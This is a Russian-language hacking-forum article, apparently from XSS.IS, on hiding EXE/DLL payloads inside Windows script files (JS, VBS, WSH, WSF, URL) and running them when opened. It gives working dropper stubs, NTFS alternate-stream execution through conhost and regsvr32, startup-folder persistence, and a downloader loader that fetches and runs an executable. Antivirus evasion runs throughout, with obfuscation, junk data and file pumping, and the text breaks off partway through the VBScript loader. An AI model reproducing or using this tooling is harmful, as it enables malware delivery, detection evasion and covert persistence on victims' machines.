Файловые форматы для доставки пейлоада, детальное и подробное описание. Часть N1: форматы *.JS/*.VBS/*.WSH/*.WSF/*.URL

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: it_solutions
Специально для форума XSS.IS

В данной статье будет поднята исключительно актуальная тема: как замаскировать EXE/DLL, разместив его внутри другого файла, который считается относительно безопасным, и сделать его запуск при нажатии в проводнике или в почтовом аттаче.

Если ищете информацию по способам доставки пейлоада на удалённый компьютер и про то, как внутрь какого-либо файла засунуть EXE/DLL и запустить его оттуда, то определённо точно здесь найдёте массу полезного.
Эта статья является первой частью руководства по файловым форматам для доставки пейлоада. В продолжениях будут рассмотрены и детально описаны все возможные файловые форматы, подходящих для целей доставки EXE/DLL.
Если данная тема интересна - ставьте лайки и пишите в комментариях какие файловые форматы интересны в первую очередь, буду по ним делать следующую часть.

В данной статье мы рассмотрим 5 файловых форматов для доставки пейлоада. Четыре скриптовых файловых формата (*.JS, *.VBS, *.WSF, *.WSH) и *.URL формат.
Первые четыре файловых формата позволяют работать с полноценным программным кодом, со скриптами на языках программирования VBScript и JScript.
Формат *.URL в этом плане сильно отличается, там нет никакого программного кода, но есть возможность запускать исполняемые файлы, указав к ним путь.
Через эту маленькую лазейку и реализуется доставка пейлоада в *.url файлах.
Несмотря на недостаток URL формата (отсутствие в нём возможности писать программный код) он обладаёт возможностью замаскировать файл под PDF документ или графическое изображение, задав нужную иконку.

Во всех версиях Windows есть встроенный скриптовый движок, который называется WSH - Windows Scripting Host.
С помощью него можно писать скрипты на двух языках: VBSCript и JScript.
В подсистеме WSH есть четыре типа исполняемых файлов, которые мы можем использовать для организации доставки полезной нагрузки.
Это файлы с расширениями *.js, *.vbs, *.wsh и *.wsf.
Перед тем как перейти к разбору WSH и WSF форматов, необходимо разобрать принципы работы JS и VBS файлов, по той причине что програмный код в WSH и WSF файлах будет работать на VBScript и на JScript.

Файлы JS​

Несмотря на одинаковое расширение файлов *.js, которые мы часто видим на Web-страницах, яваскрипт код в подсистеме Windows отличается от браузерного, хотя и очень похож.
В *.js файлах используется майкрософтовский диалект яваскрипт, который называется JScript.
Главное интересующая нас особенность этого диалекта заключается в том, что там есть возможность работать с файловой системой, есть доступ к командной строке и, как из этого следует, есть возможность запускать произвольные EXE/DLL файлы.
Сам EXE/DLL файл можно хранить двумя путями. Первый способ, это хранить его на удаленном сервере. Второй способ это хранение исполняемого файла внутри JS файла.
Преимущество первого способа это компактность JS-файлов, весь яваскрипт код необходимый для скачивания и запуска занимает всего лишь 300-500 байт.
Недостаток заключается в том, что полезная нагрузка может быть поймана AV при попытке её скачивания через JS файл.
Второй способ плох большими размерами JS-файла, это как минимум размер полезной нагрузки плюс ещё код на яваскрипт.
Следовательно, из-за размера такой файл сложнее чистить. Плюс ко всему, нужно ещё предусмотреть шифрование полезной нагрузки внутри JS файла, чтобы он не лежал там в открытом виде.
Преимущества способа: нет риска поймать поведенческий детект при попытке скачивания файла с удалённого сервера.

Второй способ, с хранением внутри полезной нагрузки внутри JS файла, может быть реализован двумя путями.
Первый путь это перевод пейлоада в шестнадцатеричные строки, которые в процессе работы скрипта декодируются обратно в двоичное представление и последовательно записываются в EXE/DLL файл.
Второй путь это сохранение пейлоада в конце JS файла и последующие извлечение его оттуда, запись во временный файл и запуск.

Основная суть первого способа хранения пейлоада вынутри *.JS файла отражена в следующем скрипте:

Код: Скопировать в буфер обмена
Код:
var outStreamW=new ActiveXObject("ADODB.Stream");
var outStreamA=new ActiveXObject("ADODB.Stream");
var binStr='';
outStreamW.Type=2;
outStreamW.Open();

outStreamW.WriteText(h('000102030405060708090a0b0c0d0e0f'));
outStreamW.WriteText(h('101112131415161718191a1b1c1d1e1f'));
outStreamW.WriteText(h('202122232425262728292a2b2c2d2e2f'));
outStreamW.WriteText(h('303132333435363738393a3b3c3d3e3f'));
outStreamW.WriteText(h('404142434445464748494a4b4c4d4e4f'));
outStreamW.WriteText(h('505152535455565758595a5b5c5d5e5f'));
outStreamW.WriteText(h('606162636465666768696a6b6c6d6e6f'));
outStreamW.WriteText(h('707172737475767778797a7b7c7d7e7f'));
outStreamW.WriteText(h('808182838485868788898a8b8c8d8e8f'));
outStreamW.WriteText(h('909192939495969798999a9b9c9d9e9f'));
outStreamW.WriteText(h('a0a1a2a3a4a5a6a7a8a9aaabacadaeaf'));
outStreamW.WriteText(h('b0b1b2b3b4b5b6b7b8b9babbbcbdbebf'));
outStreamW.WriteText(h('c0c1c2c3c4c5c6c7c8c9cacbcccdcecf'));
outStreamW.WriteText(h('d0d1d2d3d4d5d6d7d8d9dadbdcdddedf'));
outStreamW.WriteText(h('e0e1e2e3e4e5e6e7e8e9eaebecedeeef'));
outStreamW.WriteText(h('f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff'));

outStreamW.Position=0;
outStreamA.Type=2;
outStreamA.Charset='ISO-8859-1';
outStreamA.Open();
outStreamW.CopyTo(outStreamA);
outStreamA.SaveToFile('test.exe',2);
outStreamW.Close();
outStreamA.Close();

function h(a)
{
    b='';
    for(i=0;i<(a.length/2);i++)
    {
        b+=String.fromCharCode('0x'+a.substr(i*2,2));
    }
    return b;
}

Данный скрипт создает тестовый файл test.exe в той же папке из которой он запустился.
В файл записывается весь байтовый диапазон чисел, от 0x00 до 0xFF.
Это нужно для того, чтобы убедиться, что все байты из EXE/DLL файла запишутся корректно и не будет происходить какой-либо конвертации символов, типа перевода символов табуляции с кодом 0x09 в символ пробела с кодом 0x20.
Созданный скриптом файл test.exe выглядит так:

test_exe_set_of_all_byte_values.png



Как мы видим, весь байтовый диапазон из 255 байт записался корректно, а это значит что таким способом мы можем сохранять в JS файлах произвольные двоичные данные и записать их в отдельный файл.
Вся суть этого метода заключается в том, что объект ADODB.Stream позволяет конвертировать Unicode строку в строку Ansi таким способом, что байты из Unicode строки в результирующей ascii строке останутся без изменений.
Например, если мы во входную уникоде строку вписали байты 0x00 и 0xFF, то в этом случае и в выходную ANSI строку запишутся эти два байта. Без каких-либо преобразований и изменений.
Чтобы такое произошло, к выходному потоку надо просто приписать вот эти два параметра:

Код: Скопировать в буфер обмена
Код:
outStreamA.Type=2;
outStreamA.Charset='ISO-8859-1';

После копирования строки командой outStreamW.CopyTo(outStreamA) мы сохраняем выходной поток в файл test.exe командой outStreamA.SaveToFile('test.exe',2) - в файле запишутся двоичные данные.
Вообще, объект ADODB.Stream предназначен для работы только с текстовыми данными, хранящимися в уникоде либо в анси формате.
Но вот такой обходной путь позволяет работать и с произвольными двоичными данными.

Пейлоад внутри JS файла хранится в виде шестнадцатеричного байтового представления в виде вот таких строк:

Код: Скопировать в буфер обмена
outStreamW.WriteText(h('000102030405060708090a0b0c0d0e0f'));

Здесь шестнадцатеричная байтовая строка передаётся функции расшифровки h(), которая переводит этй строку в байтовый массив.
Затем этот байтовый массив с помощью метода outStreamW.WriteText записывается в поток ADODB, который в конце работы скрипта будет сохранён в отдельный файл.
Главный принцип работы функции перевода шестнадцатеричной строки в байты заключается в следующем коде:

Код: Скопировать в буфер обмена
String.fromCharCode('0x'+a.substr(i*2,2));

Из входной строки "a" последовательно берутся по два символа, представляющие собой значение каждого байта и к ним приписывается модификатор "0x", обозначающий что работа ведётся с байтами, а не с символами.
Так последовательно проходим всю шестнадцатеричную строку, и складываем результат в переменую "b".
По выходу из цикла в переменной "b" будет сформирован байтовый массив, соответствующий входной шестнадцатеричной строке.
Этот получившийся байтовый массив мы возвращаем по выходу из функции h().

На каждый байт пейлоада нам нужно будет сохранять по два байта шестнадцатеричной строки. По этой причине размер выходного файла как минимум будет в два раза больше входного EXE/DLL файла.
Кроме того, у JS файлов больших размеров (начиная примерно от 10-12 мегабайт) сильно замедляется их работа, и выходной файл тогда может создаваться 1-2 минуты или больше.
Поэтому данный метод не подходит для крупных файлов, или для пакета из нескольких файлов.

Второй способ хранения пейлоада заключается в хранении необработанных двоичных данных (raw binary data) в конце *.js файла.
Скрипт на JS, работающий с произвольными двоичными данными из файлов, выглядит так:

Код: Скопировать в буфер обмена
Код:
var fs=new ActiveXObject("Scripting.FileSystemObject");
var fil=fs.getfile(WScript.scriptfullname);
x1=fil.openastextstream().read(fil.size);
x4=x1.substr(335,9999999);
f=fs.getspecialfolder(2)+"\\.exe";
var x3=fs.createtextfile(f);
x3.write(x4);
x3.close();
x=new ActiveXObject("WScript.shell");
x.exec(f);
WScript.Quit();

К этому скрипту с помощью команды бинарного копирования приписывается произвольный EXE/DLL файл:

Код: Скопировать в буфер обмена
copy/b stub.js+putty.exe result.js

При открытиии файла result.js в папке %temp% создастся и запустится исполняемый файл, размещённый внутри JS скрипта.
Первой строкой мы получаем доступ к объекту "Scripting.FileSystemObject", отвечающего за работу с файловыми операциями.
Второй строкой мы получааем имя скрипта, из которого запустились. Это имя хранится во встроенной в подсистему WSH глобальной переменной WScript.scriptfullname, а так же открываем файл с этим именем.
Третий строкой мы производим считывание в переменную "x1" всего содержимого скрипта, из которого мы запустились. Из-за использования метода opentextstream считывание происходит не в текстовом режиме, а в двоичном.
Это важно по той причине, что нам нужно извлечь EXE/DLL файл, который всегда представляет собой двоичные данные.
В считанных данных будет как сам скрипт, там и EXE файл, лежащий в конце скрипта.
Четвёртой строкой мы выделяем из считанных данных наш EXE файл, получая срез массива считанных данных начиная с позиции 335. 335 - это размер скрипта (стаба JS), который мы пропускаем.
Пятой строкой мы получаем путь временного файла, по которому будет записан наш EXE. С помощью функции getspecialfolder(2) мы получаем путь к папке %TMP% (параметр 2 означает что нужен стандартный путь папки для временых файлов).
Строки 6,7 и 8 это запись извлечённого из скрипта EXE файла во временный файл, находящийся в папке %TMP%.
Строки 9 и 10 - получение доступа к командной строке и запуск созданного нами EXE файла в папке %TMP%.
Последняя строка это команда завершения работы скрипта WScript.Quit()
Она нужна обязательно, для того чтобы данные, записанные за скриптом, дальше проигнорировались.
Если эту команду не поставить, то получится следующий эффект:

error_no_quit_command.png



WSH нам выдаёт ошибку: "MZ - определение осутствует".
Но "MZ" это первые два символа EXE файла, а это означает что самое начало EXE файла он воспринимает как продолжение скрипта.
Поэтому подсистеме WSH нужно чётко указывать, где заканчивается скрипт, для того чтобы не интерпретировались лишние данные.
Для этого мы и указываем команду WScript.Quit() в конце скрипта.
Так же после команды WSCript.Quit() обязательно нужно ставить перевод строки, чтобы эта команда не сливалась с записанным за скриптом данными:

result_js_quit_command_with_crlf.png



На рисунке жёлтым цветом обведена обязательная команда WScript.Quit() и зелёным цветом подчёрнкута обязательная новая строка после этой команды - для того чтобы сигнатура исполняемого файла "MZ" и команда выхода из скрипта не сливались.

Дальше уменьшаем размер, делаем очень компактный JS-стаб всего лишь в 245 байт размером и записанный одной строкой:

Код: Скопировать в буфер обмена
e=new ActiveXObject("scripting.filesystemobject");f=e.getspecialfolder(2)+"\\`";q=e.createtextfile(f);q.write(e.getfile(WScript.scriptfullname).openastextstream().read(1e7).substr(245,1e10));q.close();new ActiveXObject("wscript.shell").exec(f);

В компактном варианте стаба сначала видны очевидные способы оптимизации: переменные из одного символа, удаление пробелов между лексемами, запись в одну строку, используя символ точки с запятой как межстрочный разделитель.
Из неочевидных моментов, во-первых, нужно отметить то, куда пропала команда "WScript.Quit()" и как мы обошлись без неё.
Вместо этой команды мы в конце скрипта поместили байт с нулевым значением так, как это показано на следущем скриншоте:

zero_byte_in_js_script.png



Движок WSH воспринимает прочитанный скрипт как ASCIIZ строку, то есть как строку из символов, завершающуюся нулевым байтом.
Поэтому, дойдя до нулевого байта, WSH воспринимает эту позицию как конец скрипта. И всё что находится за нулевым байтом скриптовым движком WSH игнорируется.
За этим нулевым байтом можно смело хранить любые данные (например пейлоад в виде EXE/DLL).
Получается, что скрипт можно завершить двумя способоами: командой WScript.Quit() (документированный способ) и записью нулевого байта в конец скрипта (недокументированный способ).
В компактном варианте скрипта мы этим сэкономили 15 байт - длину строки "WScript.Quit()" минус один байт, и два байта перевода строки CR LF.
Так же мы выбросили получение размера файла, чтобы получить количество байт, которые мы должны прочитать из скрипта, из которого запустились.
Вместо этого мы команде чтения файла openastextstream().read() заведомо большое число (100000000 байт) - таким способом файл всё равно будет прочитан, и размер файла заранее знать не нужно.
При этом мы использовали краткую запись числа 10000000 - "1E7", записав число в степенной форме. 1E7 обозначает 10 возведённую в седьмую степень, или, проще говоря семь нулей после числа "1".

Оптимизируем дальше: первое что можно сделать это обойтись без записи временного файла в папку %TEMP%. Вместо этого временный файл мы сохраним в NTFS поток того файла, из которого мы стартовали.
Полное имя этого файлового потока будет такое: Scriptfullname + ":a"
Файловые операции подсистемы WSH прекрасно умеют работать как с обычными файлами, так и с файловыми потоками. Позволяют с потоками делать как чтение/запись, так и запуск исполняемых файлов из них.
Для создания или доступа отдельного потока надо всего лишь приписать к имени файла через двоеточие имя потока, например так: file.js:streamName
Выкинув код для определения пути к папке %TEMP% мы сэкомим дополнительные 17 байт.

И второй метод, который позволяет не только уменьшить размер скрипта, но и хорошо обфусцирует код.
В Javascript/JScript есть возможность присваивать значение другим переменным не отдельной строкой, а внутри операции присваивания другой переменной.
Например:

Код: Скопировать в буфер обмена
Код:
a=(b=10)+20
WScript.Echo(a,b)

Этот код выдаст значение 30 и 10.
Оператор "b=10" мы писали не отдельной строкой, а внутри оператора присваивания переменной a.
Если записывать присваивания переменных в скрипте таким способом, то код становится очень запутанным и сложным для анализа.

Итак, выкинув работу с папкой %TEMP%, и применив определение новых переменных внутри операторов присваивания мы получаем такой JS-стаб:

Код: Скопировать в буфер обмена
(q=(e=new ActiveXObject("scripting.filesystemobject")).createtextfile(a=(f=WScript.scriptfullname)+":a")).write(e.getfile(f).openastextstream().read(1E7).substr(226,1E10));q.close();new ActiveXObject("WScript.shell").exec(a);

Существенное отличие от предыдущего варианта здесь одно - этот стаб работает только на файловых системах NTFS, по той причине что используются файловые потоки.
Но NTFS стоит на подавляющем большинстве компьютеров.
В итоге размер этого JS-стаба получился всего лишь 226 байт.
Это наименее возможный размер JS-стаба, вполне возможно что является мировым рекордом. Меньше хотя бы на 1 байт сделать уже, скорее всего, не получится.

В следствии экстремально компактных размеров данного стаба в нём содержится наименее возможное число сигнатур для AV, и поэтому его очень удобно чистить.
Простота использования - не нужно писать никаких билдеров. Прописывания пейлоада делается одной единственной командой в командной строке.
И, вследствие простоты сборки новых билдов с помощью всего лишь одной команды copy, данное решение обладает высокой степенью автоматизации и технологичности.
Очень легко встроить генерацию таких JS-билдов в свою IT-инфрастуктуру или техпроцесс.

Чистка JS-файлов, в первую очередь сводится к вставке комментариев с произвольными данными в междустрочное пространство.
Выглядит это так:

Код: Скопировать в буфер обмена
Код:
a = 100
// This is a trash data N1
// This is a trash data N2
WScript.Echo()
/*
This is a trash data N1
This is a trash data N2
*/

Используем построчные комментарии и строки содержащие случайным образом сгенерированные мусорные данные (comment garbage, comment trash).
Внутри комментариве можно использовать любые байты, кроме нулевого:

js_cleaning_comments_garbage.png



На скриншоте зелёным цветом обведены двоичные данные внутри комментариев - байты 0x01 0x02 0x02 0x03 0x04 0x05 0xFA 0xFB 0xFC 0xFE 0xFF.

Для Windows 10 максимальная длина возможного JS-скрипта, она равняется 64 мегабайта.
Если этот размер превысить, то WSH выдаст сообщение об ошибке чтения файла.
Для разных версий и подверсий Windows это число может отличаться, но примерная величина будет такой.
При превышении размера строки с комментарием будет выдаваться такая ошибка:

variable_size_exceeded_example.png



Величину эту важно знать для реализации техники File Pumping (раздувание файла).
Смысл в том, чтобы раздуть файл до нескольких десятков мегабайт. Многие AV исключают из проверки файлы такого размера, либо не проверяют их особо тщательно.
Файл можно раздуть с помощью нескольких мегабайт одинаковых символов, тогда будучи заархивированным такой файл будет иметь вполне адекватный размер.
JS-скрипт в десятки мегабайт размером, содержащий внутри себя огромную строку с повторяющимися символами, ужмётся в архиве всего лишь в пару десятков килобайт.
Файл пампер легко делается на Питоне:

Код: Скопировать в буфер обмена
with open('file.bin','w')as f:f.write('A'*10000)

В этом примере повторяющийся символ просто умножаем на необходимый нам размер раздутого файла, и получаем с точностью до байта файл нужного нам размера.
Этот однострочник удобно использовать из командной строки, не сохраняя его в отдельный файл:

Код: Скопировать в буфер обмена
python -c "with open('file.bin','w')as f:f.write('A'*10000)"

Вместо коментариев с мусорными данными можно между строк скрипта вставить произвольное количество разных математических операций, не влияющих на логику работы скрипта:

Код: Скопировать в буфер обмена
Код:
AAAAAAAAAAAAAAAAAAAAA1 = 11111;
WScript.Echo("Test 1")
AAAAAAAAAAAAAAAAAAAAA2 = 11111;
AAAAAAAAAAAAAAAAAAAAA3 = 11111/AAAAAAAAAAAAAAAAAAAAA1;
WScript.Echo("Test 2")
BBBBBBBBBB=(AAAAAAAAAAAAAAAAAAAAA1*AAAAAAAAAAAAAAAAAAAAA1+100)
WScript.Echo("Test 3")

Эта техника называется вставкой арифметического мусора (arithmetic garbage).
<b>Имя переменной можно делать в десятки мегабайт длиной</b> - от переменных такой длины клинит антивирусные движки, анализирующие скриптовые языки.
Скрипт с такими длинными переменными они считают некорректным и прекращают его анализ.
Переменные, используемые в работе скрипта, можно делать в несколько мегабайт длиной, написав их таким способом:

Код: Скопировать в буфер обмена
AAAAAAA[тут несколько мегабайт повторяющихся данных]AA = new ActiveXObject("scripting.filesystemobject")

Очень полезна для крипта JS функция eval, которая позволяет выполнять JS-код, содержащейся в строке:

Код: Скопировать в буфер обмена
Код:
x = "WScript.Echo(12345)"
eval(x)

Строку можно всячески шифровать, модифицировать, разбивать на отдельные части. Самое простой пример, разбитие строки на отдельные символы для того чтобы убрать сигнатуру:

Код: Скопировать в буфер обмена
Код:
x = "W"+"S"+"c"+"r"+"i"+"p"+"t"+"."+"E"+"c"+"h"+"o"+"("+"1"+"2"+"3"+"4"+"5"+")";
eval(x)

Строку "x" можно так же зашифровать с помощью функций конвертации символа в Ascii-код и обратно.
Для этого в JScript существуют две функции: charCodeAt() и fromCharCode()
Функция charCodeAt удобна для получения десятичного Ascii-кода определённого символа, напрнимер:

Код: Скопировать в буфер обмена
WScript.Echo("A".charCodeAt());

Этот строка выдаст значение 65
Чтобы получить по значению 65 соответствующий ему Ascii-символ, пишем следующее:

Код: Скопировать в буфер обмена
String.fromCharCode(65)

В этом случае выведется месседжбокс с символом "A"
Кроме того, в функции fromCharCode можно указать множество кодов, и из них будет сформирована строка:

Код: Скопировать в буфер обмена
String.fromCharCode(65, 65, 65)

В этом случае будет выведен месседжбокс со строкой "AAA".
Применим этот метод шифрования исполняемого кода для скрипта, выводящего месседжбокс:

Код: Скопировать в буфер обмена
eval(String.fromCharCode(0x57,0x53,0x63,0x72,0x69,0x70,0x74,0x2E,0x45,0x63,0x68,0x6F,0x28,0x31,0x32,0x33,0x34,0x35,0x29))

Данный код выведет месседжбокс с текстом 12345.
С байтовым массивом, который находится в параметре функции fromCharCode, можно делать самые разнообразные операции. Ксорить, шифровать алгоритмом RC5 и т.д.

Файлы VBS​

Формат VBS очень похож на формат JS. Отличие только в применяемом языке программирования, но методы запуска и хранения EXE внутри файла те же самые, что и в JS формате.
VBS делаем по сходной схеме что и делали с JS файлами - получаем доступ к объекту "Scripting.FileSystemObject", через метод этого объекта Write записываем во временный файл наш пейлоад и далее запускаем его через объект WScript.Shell().
Здесь, так же как и в случае с JS, ключевой является функция перевода шестнадцатеричной строкового представления байт в байтовый массив.
Это функция на VBScript будет выглядеть вот так:

Код: Скопировать в буфер обмена
Код:
function h(e)
    for s=1 to len(e) step 2
        h=h & chr("&h" & mid(e,s,2))
    next
end function

msgbox h("3132333435")

Данный скрипт выведет месседжбокс со строкой "12345", расшифровав её из строкового шестнадцатеричного представления "3132333435" с помощью функции h().
Внутри этой функции в цикле, который повторяется с шагом 2, последовательно берём по два байта из строки, которыми закодирован каждый отдельный байт.
После этого приписываем к этим двум символам модификатор &h - это тип данных визуал бейсика, обозначающий, что мы работаем с типом данных "байт" - так из двух строковых символов получился отдельный байт.
После чего эти расшифрованные байты накапливаются в выходном массиве, который возвращается функцией h().

В VBSCript, так же как и в JSCript, весь скрипт целиком можно записать одной строкой.
Построчным разделителем для такой записи здесь служит символ двоеточия ":", подобно такому же междустрочному разделителю ";" в JScript.
В компактном однострочном виде данная процедура выглядит так:

Код: Скопировать в буфер обмена
function h(e):for s=1 to len(e)step 2:h=h&chr("&h"&mid(e,s,2)):next:end function

Для VBSCript существует бесфайловый метод запуска скриптов.
VBScript, так же как и JSCript, можно запускать прямо из командной строки с помощью команды mshta.
Утилита Mshta получает скрипт для исполнения в виде параметра командной строки, по этой причине возможность однострочной записи скрипта очень важна.
Только что рассмотренный нами скрипт, запускаемый из командной строки в бесфайловой форме, будет выглядить так:

Код: Скопировать в буфер обмена
mshta vbscript:Execute("function h(e):for s=1 to len(e)step 2:h=h&chr(""&h""&mid(e,s,2)):next:end function:msgbox(h(""3132333435""))")

Вначале мы указываем префикс "vbscript:" означающий что скрипт, передаваемый через командную строку, написан на VBSCript.
Далее, по причине того что в нашем скрипте содержаться пробелы, мы должны воспользоваться функцией Execute, которая эти пробелы заэкранирует.
Функция Execute является аналогом функции eval() в JScript. Она выполняет код на VBScript, переданный ей строковым параметром.
Так же в нашем скрипте нам нужно экранировать кавычки. Они экранируются двойными кавычками.
Бесфайловый способ запуска скриптов ставит некоторые AV в тупик, так как нет файла для детекта и они не могут такую ситуацию обработать.

Далее, используя метод Write() из объекта Scripting.FileSystemObject, записываем во временный файл наш пейлоад, который мы расшифровали из шестнадцатеричных байтовых строк.

Код: Скопировать в буфер обмена
Код:
set f = createobject("scripting.filesystemobject")
set x = f.createtextfile(f.getspecialfolder(2) + "\\file.exe",1)
x.write(h("313233343500FFAAEE80850102030405"))
x.close

Первой строкой мы получаем доступ к объекту для работы с файловой системой - scripting.filesystemobject.
Второй строкой получаем путь к папке %temp% через метод getspecialfolder и создаём там временный файл для нашего дроппера file.exe
Далее, используя метод write, последовательно, строка за стройкой, записываем байты нашего дроппера, расшифровывая их из шестнадцатеричного строкового представления.
Все команды VBScript в данном примере написаны в нижнем регистре - это сделано для того, чтобы показать что VBScript нечуствителен к регистру символов.
Что можно применять для морфинга скриптов на VBScript, меняя регистр отдельных символов.

Однострочник для запуска файлов на VBScript выглядит так:

Код: Скопировать в буфер обмена
wscript.createobject("wscript.shell").run("calc")

Данный код запустит калькулятор. В этом примере видно, что можно не указывать полный путь к EXE (он берётся из переменной оружения path), а так же необязателно указывать расширение файла.
Второй однострочник запустит исполняемый файл из файлового потока:

Код: Скопировать в буфер обмена
wscript.createobject("wscript.shell").run("test.txt:exe_file")

Так же как и *.JS файлы, *.VBS файлы можно прятать внутри файловых потоков. Вызываются они оттуда таким же способом, с помощью утилит wscript и cscript:

Код: Скопировать в буфер обмена
Код:
wscript test.txt:test.vbs
cscript test.txt:test.js

Вообще напрямую, стандартными способами, из NTFS потока файл не вызвать. Если набрать в командной строке или в повершелл "test.txt:test.vbs" то будет выдано сообщение об ошибке.
Но запуск оттуда всегда возможен, просто для каждого типа файлов он будет разный.
Для js/vbs/wsh/wsf файлов это запуск через утилиты cscript и vbscript.
Для исполняемых файлов это запуск с помощью команды conhost (неизвестный в паблике способ запуска, речь идёт именно про этот момент о запуске файлов из NTFS потоков, а не просто отдельных файлов на диске):

Код: Скопировать в буфер обмена
Код:
conhost test.txt:file.exe
conhost test.txt:file

Утилите conhost можно передавать имя файлового потока как с расширением, так и без него - она определяет формат исполняемого файла по его структуре, но не по расширению.
Для DLL файлов запуск из NTFS потока будет выглядеть во так:

Код: Скопировать в буфер обмена
regsvr32 test.txt:test.dll

В этом случае, в отличие от команды conhost, расширение *.dll нужно указывать обязательно. Иначе regsvr32 выдаст ошибку о ненахождении файла.
Все эти методы можно использовать для скрытного запуска из JS/VBS скриптов файлов разных типов.

И ещё один интересный путь прописывания NTFS потоков не к файлам, а к какой-либо отдельной папке.
В NTFS системах папка рассматривается не как хранилище файлов, а как отдельный файл, в котором лежит список файлов,
Ну а раз это отдельный файл, то к нему можно так же приписывать файловые потоки, как и к обычным файлам.
Например, на VBScript это делает вот так:

Код: Скопировать в буфер обмена
Код:
set f = createobject("scripting.filesystemobject")
set x = f.createtextfile(f.getspecialfolder(2) + "\TestDir:testfile.js",1)
x.write("WScript.Echo('Test JS from NTFS stream')")
x.close

Данный код создаёт в папку %TMP% папку с именем TestDir и присоединённым к ней файловым потоком ":testfile.js".
В этот поток мы запишем короткий тестовый JScript, который выведет месседжбокс с сообщением.
В результате мы получили NTFS поток, приписанный к директории (но не к отдельному файлу), и в этом потоке спрятали исполняемый файл !
Этот тестовый JScript можно вызвать, набрав в строке: wscript TestDir:testfile.js

Так же существует способ копирования файлов в NTFS поток из командной строки.
Делается это совсем неочевидным способом - с помощью утилиты print, которая отвечает за вывод данных на принтер.
Казалось бы, что это должны уметь делать команды типа copy или xcopy, но на самом деле в них функционала для копирования файлов в NTFS потоки нет.
Команда для копирования файлов в NTFS потоки выглядит так:

Код: Скопировать в буфер обмена
print/D:C:\TESTDIR:file.exe C:\TEST\putty.exe

Этой командой мы к папке C:\TESTDIR приписали поток с именем file.exe, и скопировали в него файл, лежащий по пути C:\TEST\putty.exe
Файловый поток с пейлоадом можно приписать к такой важной папке, как папка автозагрузки.
Делаем это так: сначала набираем команды "explorer shell:startup", откроется папка автозагрузки в проводнике.
Нажимаем Ctrl-L, подсветится командная строка.
Нажимаем Ctrl-C, копируем содержимое команжной строки в буфер обмена.
Далее скопированный путь к папке автозагрузки вставляем в параметр команды Print.
В папку автозагрузки мы кладём короткий батник с командой conhost "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup:file.exe"
К стандартному пути папки автозагрузки мы приписываем имя NTFS потока, в котором хранится наш EXE.
Полное имя файла с NTFS потоком обязательно пишем в кавычках, чтобы заэкринировать пробелы.
Они там обязательно будут, потому что одна из папок в пути в папке автозагрузки содержит пробел. Это папка с именем "Start Menu".
Текущую папку, взяв её из переменной %CD%, в этом случае использовать нельзя !
Потому что при старте батника из автозагрузки в переменной %CD% вместо текущей папки будет храниться путь к системной папке виндовс: C:\WINDOWS\SYSTEM32
Именно по этому в батнике прописан стандартный полный путь к папке автозагрузки.
В итоге получаем бесфайловую автозагрузку. В автозагрузке лежит только короткий пусковой батник, EXE надёжно запрятан в NTFS потоки.

autorun_start_from_ntfs_stream.png



На скриншоте видно пустую папку автозагрузки, в ней лежит только батник и нигде не видно EXE файла.
У сработавшего батника специально не убрано консольное окно, для того чтобы было видно, как и откуда был извлечён и запущен исполняемый файл putty.exe

На скриншоте мы видим абсолютно пустую папку, в ней виден толко короткий пусковой батник.
В командной строке (обведено зелёным цветом) показан способ вызова спрятанного скрипта.
Жёлтым цветом показано срабатывание скрита - вывод тестового месседжбокса.
Таким способом можно прятать исполняемые файлы любого формата - от скриптов до EXE/DLL файлов.
Такой кривой путь к исполняемому файлу многие AV не могут корректно обработать, и пропускают этот объект из проверки, считая его некорректным и ошибочным.

Так же как и для *.js файлов, для файлов *.vbs то же работает метод нулевого байта в конце скрипта.
Записываем в конец скрипта байт со значением 0x00 и копируем в конец файла putty.exe - vbs скрипт остаётся работоспособным, при этом внутри его хранится копия исполняемого файла.

vbs_zero_byte.png



Так же как и для *.js файлов, данная особенность скриптового движка позволяет обойтись без метода хранения файлов в виде последовательностей байтовых шестнадцатеричных строк.

JS и VBS лоадеры​

Стандартный и самый распространённый тип лоадера реализуется через объекты ADODB.Stream и msxml2.xmlhttp.
С помощью них считываем в отдельный ADODB-поток содержимое удалённого файла, затем считываем из этого потока его содержимое, записываем во временный файл и запускаем.
Код лоадера на JS выглядит так:

Код: Скопировать в буфер обмена
Код:
var f=new ActiveXObject("scripting.filesystemobject");
q=f.GetAbsolutePathName(".");
q+=":$"

var x = new ActiveXObject("msxml2.xmlhttp"),
a = new ActiveXObject("ADODB.Stream");

x.open("GET", "http://localhost/putty.exe");
x.send();

if (x.status == 200)
{
    a.type = 1;
    a.open();
    a.write(x.responseBody);
    a.saveToFile(q);
    a.close();
}

var s=new ActiveXObject("wscript.shell").exec("conhost " + q);

Этот JS-лоадер отличается от типичных лоадеров доступных в паблике тем, что он <b>запускает EXE бесфайловым способом, используя NTFS-поток текущего каталога</b>.
Здесь нет стандартного сохранения временного EXE-файла в папке %TEMP%.
Первые три строки это получение текущего каталога и приписывание к нему имени файлового потока ":$".
Дальше всё стандартно, через объекты ADODB.Stream и msxml2.xmlhttp делаем скачивание EXE файла по ссылке http://localhost/putty.exe
Командой open задаём эту ссылку, командой send получаем её содержимое.
Содержимое ссылки скачается в переменную с именем responseBody, определённую внутри объекта msxml2.xmlhttp
Далее проверяем статус скачивания (http код ответа), если он равен 200 то всё скачалось без ошибок.
Проверка статуса операции должна быть по той причине, что на строке "if (x.status == 200)" происходит <b>ожидание завершения операции</b>.
До тех пор пока из "x.status" не будет возвращено какое-либо значение. выполнение скрипта дальше не пойдёт.
Если эту проверку убрать, то лоадер будет часто не срабатывать, время от времени будет выдавать ошибку "запрашиваемые данные ещё не готовы".
Далее командой saveToFile сохраняем содержимое переменной responseBody в файловый поток текущего каталога.
После всего этого запускаем из этого NTFS потока сохранённый туда наш EXE.

Можно обойтись без использования опасного с точки зрения детектов метода "scripting.filesystemobject", использовав для этого один из путей, который заведомо существует на компе.
Например это путь к папке для временных файлов, который хранится в переменной %TMP% или %TEMP%
Или путь к папке автозагрузки, который везде одинаков и стандартен: "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup".
Например, доступ к папке с временными файлами на JScript будет выглядеть вот так: ActiveXObject("wscript.shell").run("%TMP%\\putty.exe");

Тот же самый лоадер, переписанный на VBScript:

Код: Скопировать в буфер обмена
Код:
set f = CreateObject("Scripting.FileSystemObject")
q=f.GetAbsolutePathName(".")
q=q+":$"

set x = CreateObject("msxml2.xmlhttp")
